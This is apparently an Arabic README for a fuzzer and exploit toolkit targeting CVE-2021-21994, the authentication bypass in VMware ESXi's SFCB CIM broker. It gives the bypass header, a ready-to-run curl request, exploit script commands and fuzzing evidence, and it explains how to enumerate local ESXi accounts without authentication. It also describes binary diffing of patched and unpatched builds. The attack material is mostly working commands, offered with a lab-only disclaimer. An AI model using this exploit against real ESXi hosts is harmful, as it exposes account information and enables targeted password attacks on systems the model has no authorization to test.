
يتحقق من تجاوز المصادقة في SFCB الخاص بـ VMware ESXi (CVE-2021-21994) ويستغله عبر أداة فحص/تخريب، مما يتيح تعداد CIM-XML دون مصادقة.
| الحقل | القيمة |
|---|---|
| النوع | CWE-287 مصادقة غير سليمة (تجاوز مصادقة) |
| المكوّن | SFCB (وسيط CIM صغير المساحة) داخل VMware ESXi |
| ناقل الهجوم | الشبكة، TCP 5989 (CIM-XML عبر HTTPS)، «طلب مُصنَّع خصيصًا» |
| المتأثر | ESXi 6.5 / 6.7 / 7.0 قبل VMSA-2021-0014 (يوليو 2021) |
| الإصلاح | إصدارات بناء التصحيح VMSA-2021-0014 |
| PoC عام | لا يوجد. لم تكشف VMware عن شكل الطلب |
المراجع: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
نظرًا لعدم وجود PoC، فإن هذه العدّة هي منصة اختبار «ابحث بنفسك»: يتحقق sfcb_probe.py
من أوراكل (check) ثم يطلق قاموس تحويرات مستهدفًا على
/cimom (fuzz) ويُعلّم أي استجابة 200 مع نص CIM تم الحصول عليها بدون بيانات
اعتماد صالحة.
استخدمها فقط ضد جهازك الافتراضي المخبري أو أهداف تقع صراحةً ضمن نطاق مهمة مخوَّلة.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
تم العثور على التجاوز. السبب الجذري: يفشل sfcbd فشلًا مفتوحًا (fails open) عندما
لا يُفكّ ترميز رمز مصادقة Basic إلى زوج user:password يحتوي على :.
ترويسة PoC بالحد الأدنى (base64 لـ root، بدون نقطتين رأسيتين):
Authorization: Basic cm9vdA==
مصفوفة الأدلة من تشغيل الفازر:
| شكل الطلب | الحالة | المعنى |
|---|---|---|
بدون ترويسة / user:pass b64 صالح / : / root: | 401 | توجد نقطتان رأسيتان ← تُنفَّذ المصادقة ← رُفض |
b64("root") (بدون نقطتين رأسيتين) | 200 + نص CIM | لا توجد نقطتان رأسيتان ← تم تخطّي المصادقة |
b64("\0:\0") (سلسلة C فارغة) | 200 | نفس السبب: لا توجد نقطتان رأسيتان |
base64 غير صالح (مسافة / BOM / بادئة Basic) | 200 | فشل فك الترميز ← تم تخطّي المصادقة |
Basic\tTOKEN (فاصل tab) | 401 | تقسيم any-WSP يُحلَّل بنجاح ← تُنفَّذ المصادقة |
Basic␣␣TOKEN (مسافتان) | 200 | تقسيم بمسافة واحدة ← يبدأ الرمز بمسافة ← يفشل فك الترميز |
تحمل استجابة 200 مغلّف CIM-XML تم توجيهه داخل CIMOM
(مثل ERROR CODE="5" Class not found)، ممّا يثبت اجتياز طبقة
مصادقة HTTP — والطلب المطابق بدون الترويسة المعطوبة يعيد 401.
استخدام الاستغلال:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
سطر curl واحد للقطات شاشة التقرير:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
الأثر: وصول قراءة بدون مصادقة إلى وسيط CIM:
VMware_Identity جميع الحسابات المحلية لـ ESXi
(لوحظ على المختبر 6.5: root، dcui، vpxuser — مضيف مُدار بواسطة vCenter —
بالإضافة إلى مستخدمين مخصصين)، ممّا يتيح هجمات كلمات مرور موجّهة.VMware_RoleBasedAuthorizationService،
CIM_PrivilegeManagementService) عن طرق ملفات تعريف DMTF
(AssignRoles، AssignAccess، ...) لكنها لا تكشف أي مثيلات —
الطرق مقتصرة على المخطط فقط. إنشاء/تعديل الحسابات عبر CIM غير ممكن مع
هذه الـ CVE؛ سقف الأثر هو كشف معلومات بدون مصادقة.الأحكام:
BYPASS-STRONG — HTTP 200 + نص CIM-XML بدون بيانات اعتماد صالحة ← لقد وجدت
التجاوز؛ والطلب المُفرَّغ هو بدائيّة الاستغلال الخاصة بك.bypass-weak(200-no-cim-body) — 200 لكن بدون نص CIM؛ افحص ملف التفريغ.blocked / info(400) — مرفوض. ملاحظة: 400 تعني عادةً أن الطلب توقف قبل
تقييم المصادقة — ما يزال مثيرًا للاهتمام، لكنه ليس تجاوزًا.ملاحظة حول نصوص CIM المصنوعة يدويًا: وفقًا لـ DSP0200، يتطلب EnumerateInstanceNames
إلزامًا قيمة ClassName IPARAMVALUE. يمكن رفض النص الذي يفتقر إليها لأسباب
لا علاقة لها بالمصادقة ويُفسد الأوراكل — ترسل منصة الاختبار دائمًا النص
المطابق للمواصفة.
يغطي الفازر أشكال الالتباس الكلاسيكية في محلّل مصادقة HTTP. إذا لم يُصب أيٌّ منها، فإن المسار المتبقي (والحاسم) هو مقارنة الثنائيات (binary diffing):
esx-base لإصدار بناء مُعرَّض للثغرة (مثل فئة 6.5.0 GA) ومن
إصدار بناء 6.5/6.7/7.0 مُصحَّح بـ VMSA-2021-0014 من فهرس المستودع العام لـ VMware:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar ← حمولة vib ← cpio)، وقارن
ثنائيات sfcbd* باستخدام Ghidra + BinDiff.sfcb على SourceForge)
مرجعًا هيكليًا مفيدًا لمسار كود HTTP+auth حتى وإن كانت نسخة ESXi المشتقّة
معدَّلة.